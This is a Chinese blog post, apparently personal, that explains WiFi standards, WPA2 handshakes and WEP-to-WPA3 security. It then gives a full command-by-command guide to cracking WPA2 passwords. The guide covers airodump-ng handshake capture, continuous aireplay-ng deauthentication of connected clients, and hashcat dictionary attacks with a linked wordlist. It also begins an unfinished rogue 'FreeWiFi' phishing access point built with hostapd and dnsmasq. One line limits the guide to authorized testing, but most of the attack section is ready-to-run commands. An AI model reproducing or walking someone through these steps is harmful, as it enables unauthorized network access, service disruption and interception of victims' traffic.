杨记

碎片化学习令人焦虑,系统化学习使人进步

0%

WIFI密码破解

黑客视角揭秘WiFi钓鱼,零信任带来防护突破

Wifi_认证 、关联 和 四次握手(WPA/WPA2)

WiFi

WiFi,即无线局域网技术(WLAN),于1997年推出,允许设备在不使用物理线缆的情况下进行数据传输。WiFi技术基于IEEE 802.11标准,该标准定义了数据传输的物理层和MAC层,形成了如今广泛使用的无线通信协议。

WiFi版本

WiFi标准版本从802.11b起步,到现如今的802.11ax(WiFi 6)。随着技术的进步,WiFi的速度、稳定性和覆盖范围显著提高,不同版本的WiFi也带来了不同的加密和安全标准。

  • 1999年:802.11b:2.4GHz,11 Mbps ;802.11a:5GHz,54Mbps
  • 2003年:802.11g:2.4GHz,54 Mbps
  • 2009年:802.11n (WiFi 4):2.4GHz/5GHz,288Mbps/600Mbps
  • 2013年:802.11ac (WiFi 5):5GHz,1.6Gbps
  • 2019年:802.11ax (WiFi 6):2.4GHz和5GHz,10Gbps

WiFi协议

WiFi协议的安全性经历了WEP、WPA、WPA2和WPA3的演变:

  • WEP (Wired Equivalent Privacy):早期的加密协议,使用RC4算法,安全性较差,易被破解。
  • WPA (Wi-Fi Protected Access):引入了TKIP加密,改善了WEP的漏洞。
  • WPA2:引入AES加密,极大增强了WiFi网络的安全性,是目前最普遍使用的安全标准。
  • WPA3:最新标准,引入更强大的加密方法并增强了对离线字典攻击的防护。

WEP是最早用于无线网络的加密协议,诞生于1997年,旨在提供与有线网络相当的安全性。然而,由于使用了较弱的加密算法和固定的加密密钥,WEP存在严重的安全漏洞。

  • 加密算法:基于RC4流加密算法,使用静态40位或104位密钥。
  • 安全性问题:WEP在加密时采用了相同的密钥初始化向量(IV),导致在较短时间内IV重复,这使得攻击者能够通过捕获足够多的数据包来分析密钥。这个问题可以被使用工具(如Aircrack-ng)轻易破解。

WPA是为了解决WEP的安全缺陷而临时推出的协议,于2003年发布。它引入了TKIP(Temporal Key Integrity Protocol),动态生成加密密钥,增强了数据包的加密强度。尽管WPA比WEP安全性高,但仍然存在一些弱点。

  • 加密算法:TKIP结合RC4算法,相比WEP提供了动态加密密钥,防止了固定密钥的重用。
  • 安全性问题:虽然TKIP提高了加密的动态性,但仍然依赖于RC4算法。由于RC4存在已知的弱点,WPA的安全性也容易受到攻击(如“Michael”攻击)。

WPA2在2004年发布,是WPA的升级版,也是目前广泛使用的WiFi安全协议。WPA2采用更为安全的AES加密算法,显著增强了数据加密的强度。

  • 加密算法:使用AES(高级加密标准)加密算法代替RC4,并引入CCMP(Counter Mode with Cipher Block Chaining Message Authentication Code Protocol)作为数据完整性校验方法,确保数据的安全性和完整性。
  • 安全性问题:尽管WPA2被认为非常安全,但在2017年被发现存在KRACK(Key Reinstallation Attack)漏洞。该漏洞允许攻击者在受害者和路由器之间进行中间人攻击,从而解密部分传输数据。不过,KRACK漏洞可通过更新软件补丁来修复。

WPA3是最新一代WiFi安全协议,于2018年发布,旨在应对现代化的安全挑战。WPA3在WPA2的基础上进一步增强了加密和认证机制,显著提高了WiFi网络的安全性。

  • 加密算法:基于192位的AES加密(WPA3-Enterprise)或128位的SAE加密(WPA3-Personal),确保即使在开放网络中,数据也受到保护。
  • 主要改进
    • SAE(Simultaneous Authentication of Equals):在WPA3-Personal模式下引入了SAE替代PSK(预共享密钥)认证方式。SAE利用“密码一致性密钥交换协议”(Dragonfly Key Exchange)防止离线字典攻击,使得密码安全性显著提升。
    • 前向安全:WPA3引入了前向安全性(Forward Secrecy),确保即使会话密钥泄露,攻击者也无法解密先前的会话数据。
    • 开放网络保护:WPA3支持Opportunistic Wireless Encryption (OWE),即使在没有密码的开放网络中,也能提供加密保护。
协议 加密算法 数据完整性 认证方式 主要缺点
WEP RC4 静态密钥 易被破解
WPA TKIP + RC4 PSK TKIP存在弱点
WPA2 AES + CCMP PSK/企业级认证 可能受KRACK攻击
WPA3 AES/SAE SAE/企业级认证 尚未完全普及

握手过程

WiFi的握手过程,尤其是WPA2的“四次握手”(4-Way Handshake),是WiFi网络中确保设备和路由器之间安全通信的关键机制。这一过程在每次新设备连接到网络时都会发生,用于验证连接双方的身份并生成加密密钥,保护数据的传输。

WPA2 四次握手的主要目的包括

  1. 身份验证:确保客户端和路由器共享相同的预共享密钥(PSK),即WiFi密码。
  2. 加密密钥生成:在握手过程中生成一个用于加密通信数据的会话密钥,使数据传输更加安全。
  3. 防止中间人攻击:通过独特的加密方式防止会话密钥的泄露,确保数据在传输中不会被篡改或伪造。

四次握手的具体过程:以下是四次握手的详细步骤,涉及客户端设备(如手机、笔记本电脑等)和WiFi路由器:

  1. 第一步:路由器发送Anonce
    • 路由器生成一个随机数(称为Anonce,即Authenticator Nonce)并发送给客户端。
    • 目的:这一随机数是用来生成会话密钥的独特输入。它保证每次连接都具有不同的加密密钥,即使WiFi密码相同,也会有新的会话密钥。
  2. 第二步:客户端生成Snonce并计算MIC
    • 客户端接收到Anonce后,生成自己的随机数(称为Snonce,即Supplicant Nonce),并使用PSK(WiFi密码)和MAC地址等信息计算出会话密钥(PTK,Pairwise Transient Key)
    • 会话密钥的生成:客户端使用Anonce和Snonce,加上双方的MAC地址,通过特定的算法(如PMKID等)计算出PTK。
    • 发送Snonce和MIC:客户端将Snonce和消息完整性码(MIC,Message Integrity Code)发送给路由器,MIC用于验证会话密钥的正确性和数据的完整性。
  3. 第三步:路由器验证并发送GTK

    • 路由器验证PTK:路由器收到客户端的Snonce后,计算出相同的PTK,并用该PTK校验MIC,确保客户端使用了正确的PSK。
    • 生成组密钥(GTK):在某些多用户场景中,路由器还会生成一个组密钥(GTK,Group Temporal Key)用于管理多个设备的广播通信。
    • 发送GTK:路由器将GTK和一个新的MIC发送给客户端,以便客户端能够解密广播数据。
  4. 第四步:客户端确认

    • 客户端确认握手成功:客户端验证路由器的MIC,确认GTK是否正确。
    • 握手完成:客户端向路由器发送确认消息,表示四次握手完成。此时,客户端和路由器均已生成相同的PTK,用于加密数据传输。

握手的关键点

  • PTK的生成:PTK是通信中最核心的会话密钥,生成过程中使用了Anonce、Snonce、双方MAC地址和PSK。这确保即使攻击者知道了握手包,若不知道PSK,也无法解密通信。
  • MIC校验:MIC用来确保数据的完整性和身份验证。在握手过程中,如果MIC验证失败,说明PSK不一致,握手会终止。即密码错误只会握手两次。

四次握手过程的简化图解

  1. 路由器 -> 客户端:发送Anonce。
  2. 客户端 -> 路由器:生成Snonce,计算PTK,发送Snonce和MIC。
  3. 路由器 -> 客户端:验证PTK,生成GTK,发送GTK和新的MIC。
  4. 客户端 -> 路由器:验证MIC,确认握手成功。

在无线网络攻击中,渗透测试人员可以监听和捕获四次握手的数据包(EAPOL帧),其中包含加密后的Anonce、Snonce和MIC。

攻击者可以通过离线暴力破解或字典攻击来尝试猜测PSK。破解工具(如Hashcat)会从字典文件中逐一取出密码候选项,与握手包中的加密数据进行比对,找到正确的PSK。

抓包破解

WiFi网络的握手包(Handshake)是设备与路由器建立安全连接时生成的数据包。通过监听抓取WiFi握手包,可以利用字典攻击推算出WiFi密码。抓包和破解应仅用于合法的渗透测试和网络安全研究,确保操作在授权范围内进行。

所需工具及环境

  • 操作系统:Kali Linux(一个专为渗透测试设计的Linux发行版,包含丰富的网络安全工具)
  • USB无线网卡:支持监控模式(monitor)数据包注入功能的无线网卡(如Atheros或Ralink系列)
  • 抓包工具:Aircrack-ng(WiFi网络分析工具套件),包含airmon-ng, airodump-ng, aireplay-ng
  • 密码破解工具:Hashcat(高级密码破解工具)

数据包注入在渗透测试中的常见应用包括:

  1. 强制断开连接(Deauthentication)
    • 通过发送断开连接的数据包,可以让客户端设备(如手机、笔记本电脑)临时断开WiFi网络连接。客户端通常会自动尝试重新连接,此时会触发握手过程。
    • 渗透测试人员可以利用这一过程捕获WiFi的握手包,以便后续破解WiFi密码。
  2. 欺骗攻击
    • 网卡可以发送伪造的数据包,模拟合法客户端或路由器的身份,以便在无线网络中实施中间人攻击(MITM)。
    • 通过数据包注入,攻击者可以假装是接入点,诱导设备连接,从而拦截、查看或篡改传输的数据。
  3. 网络故障测试
    • 数据包注入也可用于测试网络的稳定性和响应能力。例如,通过发送大量伪造的数据包,可以测试网络是否能够有效应对流量峰值或抗拒恶意攻击。

破解原理

WiFi密码破解的关键在于抓取握手包(handshake)数据包,利用该数据包的加密信息对密码进行推算。握手包的破解原理如下:

  1. 握手包的获取:WiFi握手包是客户端设备与WiFi路由器建立连接时所传输的加密信息。握手包通常包含四次数据交换(称为“四次握手”),确保连接双方共享正确的加密密钥,并验证其一致性。
    • 当设备尝试连接到加密的WiFi网络时,它会通过加密协议(如WPA2)与路由器进行身份验证,交换经过加密的身份和密钥信息。
    • 监听者可以在设备连接到WiFi时抓取这个握手过程的数据包,并保存其中的加密信息,用于后续破解。
  2. 破解过程:握手包本身不会直接包含WiFi密码的明文,而是含有密码的hash信息。破解的目标是在已捕获的握手包中,找到一个与正确密码对应的加密值。
    • 工具生成的哈希值将与握手包中的加密值逐一比对。当发现匹配的哈希值时,即找到与该握手包匹配的密码,从而破解出WiFi的访问密码。

原理:通过监听目标WiFi网络,捕获客户端与路由器连接时产生的握手包。之后,使用破解工具从密码字典中逐一尝试密码,通过加密算法计算每个密码的哈希值,并与握手包中的加密信息进行比对。如果某个候选密码的哈希值与握手包中的加密信息匹配,说明该密码是目标WiFi的正确密码。

抓包流程

1、使用装有kali系统的电脑或在VMware Workstation虚拟机中安装kali系统

2、将无线网卡插入电脑,并确保它被系统识别,可以使用ifconfig命令检查,无线网卡的接口通常为wlan0,也可能为其他名称。

有时候可能有BUG,看不到也没事,只要后面的命令不报错即可。

3、开启监控模式 使用airmon-ng工具将无线网卡置于监控模式:

1
airmon-ng start wlan0

image-20241106195316124

此时,通过ifconfig命令可以看到wlan0变为wlan0mon,表示已进入监控模式。

4、扫描WiFi网络 使用airodump-ng扫描当前信号范围内的WiFi网络,获得目标WiFi的BSSID和信道(CH):

1
airodump-ng wlan0mon

image-20241106195843644

上半部分是扫描到的WiFi信息,下半部分是路由器和客户端连接信息。

5、监听并捕获握手包 通过指定目标WiFi的BSSID和信道,使用以下命令进行监听并捕获握手包:

1
2
3
4
airodump-ng --bssid <BSSID> -c <Channel> -w <output file name> wlan0mon
--bssid 路由器的mac
-c 信道
-w 握手包的保存文件

image-20241106201232130

需要一直等待有客户端连接WiFi才可捕获握手包。从上图中可以看出有3个客户端已连接该WiFi,还可以通过对目标设备进行断开连接来加速握手包的捕获,使用以下命令强制客户端重新连接WiFi,从而产生握手包,新开终端:输入以下任意一条命令

1
2
3
4
aireplay-ng --deauth 0 -a <BSSID> wlan0mon
aireplay-ng -0 0 -a <BSSID> -c <STATION> wlan0mon
-0 即 --deauth : Deauthentication(断开连接)攻击
0 : 攻击次数,任意数字,0为一直攻击

等待上图中的位置出现WPA handshake: [BSSID]字样,即表示成功捕获握手包。记得CTRL+C关闭攻击。

6、关闭监控模式airmon-ng stop wlan0

捕获成功可以看到这些文件,握手包是.cap文件

image-20241106204643889

破解密码

成功抓取握手包后,使用软件对握手包密码破解。如:EWSA,WIFIPR,hashcat。我推荐使用hashcat破解。

Hashcat支持多种攻击方式,包括字典攻击、掩码攻击等,其中字典攻击是最常见的方法。

1、将握手包.cap转换为Hashcat可识别格式.hc22000,使用hcxpcaptool工具将.cap格式的抓包文件转换为.hc22000格式

1
hcxpcapngtool xxx.cap -o xxx.hc22000

或者在线转换地址: https://hashcat.net/cap2hashcat/

2、安装hashcatsudo apt install hashcathashcat官网

3、准备密码字典 确保字典足够大,涵盖尽可能多的密码组合。kali自带密码字典有rockyou.txt,位于/usr/share/wordlists/rockyou.txt.gz

我找到的密码字典,链接: https://pan.baidu.com/s/1SPEiQHVBjE3Eyexe6IPdFA?pwd=hmmq

4、字典破解

1
hashcat -m 22000 -a 0 <handshake_file>.hc22000 <dictionary_file>.txt
  • -m 22000:指定了哈希模式22000,这是hashcat用于破解WPA/WPA2 PMKID和EAPOL握手文件的模式。
  • -a 0:指定攻击模式为字典攻击。
  • <handshake_file>.hccapx:转换后的握手包文件。
  • <dictionary_file>.txt:密码字典文件。

Hashcat会尝试从字典中找到匹配的密码,如果找到了则会在输出中显示。

image-20241106222848071

如果破解过程太长需要暂停,这是就需要保存进度:

1
hashcat -m 22000 -a 0 <handshake_file>.hc22000 <dictionary_file>.txt --session=mydz -o output
  • --session 指定会话名称
  • -o 指定破解结果保存位置
  • 按[c]heckpoint保存,恢复进度:hashcat -m 22000 --session=mydz --restore

遇到的问题

1、在华为的云服务器上运行hashcat报错:

1
2
3
4
=== CL_PROGRAM_BUILD_LOG ===
error: unknown target CPU 'generic'
Device pthread-General Purpose Processor failed to build the program, log: error: unknown target CPU 'generic'
Device #1: Kernel /usr/local/share/hashcat/OpenCL/shared.cl build failed.

缺少依赖,解决方法:安装 OpenCL&POCL

1
2
3
sudo apt-get update
sudo apt-get install pocl-opencl-icd
sudo apt-get install ocl-icd-opencl-dev

2、windows下运行hashcat报错:

1
2
3
4
5
6
7
* Device #1: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
To disable the timeout, see: https://hashcat.net/q/timeoutpatch
* Device #2: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
To disable the timeout, see: https://hashcat.net/q/timeoutpatch
nvmlDeviceGetFanSpeed(): Not Supported

解决方法:创建一个名为wddm_timeout_patch.reg的注册表文件,内容如下:

1
2
3
4
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\GraphicsDrivers]
"TdrLevel"=dword:00000000

运行注册表文件:以管理员身份运行这个注册表文件,并重启计算机。

想恢复原样从注册表里删除新增的这项即可,且这个问题忽略也不影响使用。

钓鱼WiFi—待续

hostapd是一个运行在Linux系统上的守护进程,它的主要功能是将无线网卡配置为无线接入点(Access Point, AP)模式,并作为控制身份验证的后端组件。

hostapd通过读取用户的配置文件,接收用户的管理信息,并可以通过nl80211来控制底层的无线状态。它连接了上层用户配置模块和底层无线内核,作为中间件起到了向下set和向上get的功能。

1
2
3
4
5
6
#open.conf
interface=wlan0
ssid=FreeWiFi
driver=nl80211
channel=1
hw_mode=g

interface表示无线网卡接口名称,ssid 表示热点名称,channel 表示信道,hw_mode 用于指定无线模式,g代表 IEEE 802.11g

dnsmasq 是一款可同时提供 DNS 和 DHCP 服务功能、较易配置的轻量工具。

1
2
3
#/etc/dnsmasq.conf
dhcp-range=172.5.5.100, 172.5.5.250, 12h
interface=wlan0
1
2
3
4
5
nmcli radio wifi off
rfkill unblock wlan
ifconfig wlan0 172.5.5.1/24
systemctl restart dnsmasq
hostapd open.conf

欢迎关注我的其它发布渠道